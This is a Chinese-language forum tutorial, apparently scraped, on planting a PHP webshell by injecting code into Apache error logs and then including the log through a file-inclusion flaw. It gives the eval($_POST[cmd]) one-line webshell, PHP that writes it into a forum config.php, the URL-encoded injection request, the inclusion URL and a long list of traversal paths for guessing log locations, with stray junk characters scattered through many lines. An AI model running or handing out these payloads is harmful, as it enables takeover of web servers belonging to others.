php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
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比如还是这句一句话木马
* t- S( S( X' ]8 s<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
+ i( b9 g6 U7 M" U" q. _* ufopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
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<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
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我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
. j. p7 H9 D5 O7 A, w" z转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
4 c. n2 f$ h% Q8 C* M3 O%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
4 z+ G7 Z; Y& z/ ?) u; ^) z: dfclose%28%24fp%29%3B%3F%3E
* I! v4 P4 {- K* m我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
& r+ V4 j( `$ A7 Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
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这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
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/ s/ ]: O" ]- w' @& h" o) Z这样webshell就写入成功了，config.php里就写入一句木马语句
" D6 P  F, p( a- D& k' ]1 AOK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
0 V1 ]& y4 h; X9 c+ c* o" a直接用lanker的客户端一连，主机就是你的了。
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1 a! b* f) S$ Y& w1 ]; j' l8 @PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
3 ]' T" M, _7 }. m3 N) A) j../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
, f" ~8 V+ H& ~- e1 c../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
+ e; a" j3 m! }. G6 [" B: h../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
3 B" ~+ y& Y; |2 S7 }) r../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
  L/ R2 q  Z! V' v/ c../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
/ Y; K5 ]  M0 i2 s../../../../../../../../../../var/www/logs/access.log
6 [! V$ J& o; ~7 L7 S* @../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
1 x& C0 m; g: O../../../../../../../../../../var/www/logs/error_log
7 V" G$ Z7 s& H% q) J& J. L../../../../../../../../../../var/www/logs/error.log
4 u, \. `+ P5 p. C$ X../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
" ^! `; `) r2 U% c6 G1 X../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
' W* e- P; S! S' \- |../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
' B8 \  [% T0 M$ r* ?% J/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
3 m# T1 z: i+ u0 A% X$ P: K../../apache/logs/error.log
4 a6 d! p0 r( A, @../../apache/logs/access.log
0 w2 ~7 W! K: [# C; B& u9 }. z6 z../../../apache/logs/error.log
, ~- a  u0 C+ B0 p$ Q4 T../../../apache/logs/access.log
5 r2 R% Z8 k0 b3 R+ |/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
" L4 e1 }- l& x; {. ]9 K. p( {/etc/httpd/logs/error_log
9 s2 z! x! o& s" d) O% Q/etc/httpd/logs/error.log
3 z3 t* A& O1 Q5 B9 B2 e/var/www/logs/access_log
/var/www/logs/access.log
: u5 G: U7 B0 s/usr/local/apache/logs/access_log
( \5 |: }7 P' [! {( b! [' w. p/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
% T! d1 e1 P7 Y. r3 r/var/log/access_log
) m$ ]- V8 c% Q; d/var/www/logs/error_log
/var/www/logs/error.log
( {* t+ T$ E! I& _$ k/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log